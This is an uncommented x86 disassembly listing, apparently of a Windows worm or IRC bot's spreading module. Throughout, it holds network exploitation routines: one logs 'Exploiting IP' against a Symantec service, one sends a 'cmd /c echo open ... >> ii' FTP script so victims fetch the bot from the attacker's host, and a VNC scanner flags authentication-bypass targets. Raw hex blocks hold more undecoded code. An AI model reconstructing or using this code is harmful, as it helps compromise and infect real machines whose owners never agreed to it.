		mov	eax, dword_43341C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433420
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433410
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA0
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433290
		add	esp, 2Ch
		push	eax
		call	dword_4CB9D4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA0
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433408
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	68h
		push	offset dword_432F04
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0A0h
		push	offset dword_432F70
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433128
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_433194
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433208
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_433014
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_433094
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		nop
		call	near ptr 26A0000h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C88
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0A8h
		push	offset dword_432D14
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0DEh
		push	offset dword_432DC0
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBA6C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_4317FCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA14
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_433424
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346DC
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9D4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBA6C
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB88C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431800[eax]
		push	ebx
		lea	eax, dword_431800[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE708
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE704
		nop
		call	near ptr 2720000h
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE6F8
		nop
		call	near ptr 2711089h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE708
		call	dword_4CBA24
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA0015h
		dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
		dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE6FCh
		dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 0E9E890B4h, 50023316h, 0E6FC35FFh, 0DDE8004Ch
		dd 90023316h, 0CDE89050h, 8D02330Fh, 8D50D845h,	57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
		dd 0E8905700h, 227143Bh, 50E8458Dh, 0D1685757h,	8D0040EEh
		dd 5057F445h, 0FF2E890h, 45890229h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 0FDAE850h, 6A900229h, 0F04589FFh
		dd 90D875FFh, 2A0F6BE8h, 75FF5702h, 78E890F0h, 57022A17h
		dd 90EC75FFh, 2A176EE8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 321918E8h, 35FF02h, 0FF004CE7h, 435FFD6h
		dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E710A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 51E89053h
		dd 8B022F0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
		dd 5959FFFFh, 0D1E89056h, 68022F0Dh, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE710h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 2F0D57E8h, 56A9002h, 0FC15FF57h
		dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
